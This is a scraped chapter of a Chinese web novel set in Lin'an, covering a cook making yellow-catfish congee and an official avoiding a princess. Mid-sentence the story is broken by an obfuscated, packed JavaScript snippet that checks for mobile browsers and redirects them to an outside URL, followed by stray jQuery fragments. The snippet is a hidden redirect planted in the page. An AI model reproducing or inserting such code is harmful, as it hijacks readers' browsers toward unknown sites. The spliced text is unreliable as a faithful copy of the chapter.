29. 黄骨鱼糜粥
作品:《临安杏花饭馆(美食)》 昨日开业,冰汤圆估计送出去了三四十碗。
卤肉呢,差不多卖完了,共得了二十来两的流水,一半的利润。
卤肉与冰汤圆都是下午现做,粥却只能早上做。
按照之前的打算,早上要卖的是猪肉胡萝卜粥、鱼糜青菜粥。
前者好说,肉切丝、略腌一下,胡萝卜切粒,一起扔大米粥里熬就行。
鱼糜青菜粥略麻烦一些,因为江清澜选的,不是普通鱼片,而是黄骨鱼。
上辈子,在她的外婆家成都,黄骨鱼叫做黄辣丁,是专门用来做辣味干烧,或者烫红汤火锅的。
但江清澜发现,这种鱼肉质细腻、味道鲜美,而且刺少,用来做鱼糜粥,再好不过。
只有,它也有缺点——比较小。做鱼糜粥的话,要自己把肉拆下来。
幸而,前几日她就在鱼市订了活鱼,鱼贩子服务周到,条条杀了洗净送货上门。
窗户外才泛起蟹壳青,启明星还在闪烁,时候尚早。热锅里,猪板油已炼化,小火慢煸的葱姜蒜头散发出香味儿。
接着,“刺啦”一声,一筲箕的黄骨鱼滑入锅中。
油星迸溅,鱼朝下的那面很快变成了焦黄色,煸炸之后的鱼香味儿迅速在屋里弥漫。
此时,团团正骑在厨房的门槛上,翻着花绳。
因为起得太早,她脑袋还有点儿钝钝的,三两下把线绳缠在手指上,打了个死结。
这时候,闻着鱼香味儿,她猛的清醒了,踮着脚、伸长脖子看锅里的炸物。
江清澜铲出一块鱼尾巴,沾了一丢丢盐后,递给她:
“先吃点儿,香个嘴儿。等鱼糜粥做好了,咱们才正经吃早饭。”
黄骨鱼身形较小,所以鱼尾巴很薄、刺也软。经过热油炸制,整块儿儿变得香香脆脆的。
另外,鱼尾与鱼身交接的地方,有一些肉——这些肉,是最鲜美、最细腻的。裹上热油的香、沾了盐粒的咸,入口即化,却回味无穷。
团团嘎嘣嘎嘣,几下嚼烂了鱼尾巴,意犹未尽。但江清澜有言在先,她也不好胡搅蛮缠,便无惧热意,待在厨房里看阿姐做粥。
方才炸鱼的油锅里,此时已装满了雪白的鱼汤。三根头白、身绿的小葱被挽作葱结,在白汤里咕噜咕噜翻滚着。
所谓“原汤化原汁”,正在熬煮的黄骨鱼拆下肉来,是鱼糜粥里的鱼。
白汤也不能浪费,放在粥里,更添一道鲜味。
土灶中间的那一眼灶孔,坐着鼎罐。其中的大米粥已煮得黏黏的了,因为提前加了香菇片、干贝等食材,米粥的清香中有浓郁的海鲜风味。
鱼汤与鱼肉一加,再浇些热热的明油,粥底便变作了微黄色。
尝一口,哎呀,眉毛都要鲜掉了!
青菜丝是最后加的,是为着避免热度把青菜烫黄,失了鲜嫩翠爽。
见团团已经可怜巴巴地望了好久了,江清澜也不等了。她把缺了青菜的鱼糜粥舀了两碗,带妹妹去屋里吃早饭了。
早上喝粥,爽口又养胃。黄骨鱼鱼糜融在米粥中,几乎看不见了,但只要一尝,就知别有洞天——入口鲜香,糜软嫩滑。
美中不足的,只有一点,便是吃多了有些单调。
这便是蔬菜的功效了。
等快出锅时,放一把青菜丝下去,再吃,便有了蔬菜微苦回甜的味道,还有菜茎略硬的口感。这与软烂的鱼糜粥相得益彰、互相成就。
两姐妹吃完早饭,团团翻一会儿花绳,又打起了瞌睡。左右吃饱了,她索性趴在桌子上睡着了。
此时,王蕙娘去东市买下午要用的肉去了,虎子也去了青萍书院,屋里再无别人。
江清澜解开围裙,拆下襻膊,也准备打个盹儿。忽然,只听“啪”的一声,是腰侧的绣囊掉在了地下,几个散碎银子落在地上。
江清澜弯腰去捡,捡到最后,桌子脚边,金光闪闪,赫然是一枚小金球——昨日言郎君送的。
江清澜的瞌睡去了大半,把金球捡起来,凝神不语。
昨日,言郎君坚决要送这个作开业贺礼。
他说,大不了作以后吃饭的预付。但这个小金球,怎么说也值一百两银子。她这小本经营,记账,得记到什么时候去?
她从穿来那一天起,就想好了,只与小人物打交道,少去大人物身边凑。
这个言郎君,虽然只是临安府署的小吏,但出手就是百两,一定不是什么小人物。
此时,天光已从靛蓝转为了亮白,天大亮了。河风吹拂柳树,也送来岸边卖荷花老翁的吆喝。
“卖花嘞——新鲜的荷花——荷叶——莲蓬——”
江清澜招呼人停下,买了一大捧荷花。她将它们插在柜台的梅瓶上,香远益清、亭亭净植。
她拍了拍荷包里的金球,也想通了。
何必庸人自扰、杞人忧天?既然开门做生意,就什么人都可能遇见,见招拆招就是了。
再说了,目前看来,言郎君又不是什么坏人,他出钱买我的饮食,预存一些,又有何不可?
——
“啊切——”,临安府署湢室里,谢临川打了个喷嚏。
他有点儿莫名其妙,没觉着冷啊?
因他自来怕热,冬日里也洗冷水澡。如今盛夏,他从刘长风那里出来,洗了澡再去财赋司,竟然打了个喷嚏。
到了下午,他自以为知道了打喷嚏的缘由。那时,他腰抵靠在圈椅上,一双长腿搭在桌上,看《太白阴经》看得津津有味。
“流光哥哥!”一道黄莺娇啼般的声音响起。
谢临川听得浑身一抖。谁啊这是,真他.娘的肉麻!
他偏头去看,一道绯衣身影翩然而至,像是美丽轻盈的蝴蝶。
看清来人,他皱了皱眉,把书往身后一藏,跳下椅子:“以后不准那么叫我!”
宝庆公主手绞着丝帕,噘着嘴说:“上次在中瓦,是你先叫我阿妹的,现下,我叫你流光哥哥,又有何不可?”
老天,竟然很有道理!
谢临川忍住浑身的鸡皮疙瘩,在额头上重重一拍,有些无奈地道:“你不在宫里待着,跑这里来干嘛?”
宝庆公主笑嘻嘻道:“我到姑母家暂住,离这儿很近,王妃便说,可以来看看你。”
宝庆公主的姑母,便是官家的嫡姐,安国长公主。她的府邸也在西湖边上,离东平王府并不远。
谢临川眉头微蹙。
宝庆住在长公主府,来找他,他并不意外,但完全可以等他回去,何必在上值的时候?
说是王妃让她来?难道是来监视自己的?他这些日子早出晚归的,指不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15726678|172743||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定让父母看出些端倪。
当下,他便把一摞子牙帖、票据之类的东西铺了开来,以毛笔饱蘸了墨,圈圈叉叉地乱勾了起来。
一面写着,一面严肃地道:“我忙着呢,一大堆单子要开。待会儿,还要和街道司去御街巡逻。”
他看了看外面火辣辣的太阳,着重强调:“我们都是走着去的,可晒人了。”
“啊——”
宝庆公主也偏头看了一眼。太阳那般毒辣,她雪白的皮肤可经不得晒。
她咬着唇,很是为难,那句“我跟你一起去”,到底没说出口。
正在这时,杨松抱着一摞子文书,从外面跑进来。
谢临川看他一副氓之蚩蚩的样子,展颜一笑,计上心来。
他把杨松拉到宝庆公主面前,十分亲切友好地介绍:“这位杨郎君,叶子戏玩儿得特别好,让他陪你玩玩儿。”
宝庆公主眼睛一亮:“真的?”
叶子戏类似于纸牌游戏,自来在后宫中流行。宝庆公主是个中高手,也十分痴迷。
她曾在一个月圆之夜,将夜明珠放在琉璃盏中,借着明珠与月色,与宫人玩儿了个通宵。
此事被官家知道后,杖责了宫人,罚她禁足三个月。但宝庆公主仍不悔改,禁足期间,又偷了一副牌进去,熬更守夜地玩儿。[1]
“岂能有假?”谢临川朝着杨松努嘴,“不信你问他?”
天爷呀,杨松哪里知道,回来一趟,平白又背这么大一个锅?这二位,他又谁都得罪不起!
“这这这……”杨松支吾半天,只好道,“在下只是略通一二。但这会儿,正上值呢。何况,咱们这儿也没有叶子戏。”
“怎么没有?!”谢临川惊叫起来,“就在你案牍左边的那个柜子里,第三排第四格。好像还有骰子……”
杨松魂儿都要吓没了!
这些玩意儿确实是他的。有时候,其他人休沐,只他一个人上值,他就拿出来玩一玩。现在,被言郎君知道了……
杨松脸色煞白,感觉自己的仕途快要完蛋了。
谢临川见他神色,立马送上定心丸:“这里就三个人,你不说,我不说,她不说,谁会知道?”
他收拾起文书,清清嗓子,正儿八经地道:“现在,我要上御街巡查去了。此事,只有你们俩知道了。”
说罢,他一溜烟儿就跑了,跟身后有鬼在撵似的。
杨松眼睁睁看着他离去,一回头,正是宝庆公主那殷切而热烈的目光。他一哆嗦,赶紧跑去拿了叶子戏:“小殿下,请——”
宝庆公主眼热叶子戏,连杨松知晓了自己的身份也没注意,一下把牌抓在了手里。
……
从临安府署逃走后,谢临川寻摸着日头毒辣,需得找个地方遮阴。
若是往日,自然是叫朱明等人吃酒去。但这些日子,他跟着刘长风,学了不少东西,渐渐的,就与朱明他们说不到一块儿去了。
左右无事,他便沿着春波河溜达,胡乱琢磨着。
小河两岸杨柳依依,太阳晒不下来,更有些凉风,吹得人十分惬意。
不知怎的,那双脚好像自己有主意般,溜了一会儿,就到了八字桥下。
一抬头,正是“杏花饭馆”四个大字。谢临川眉开眼笑,大步走了进去。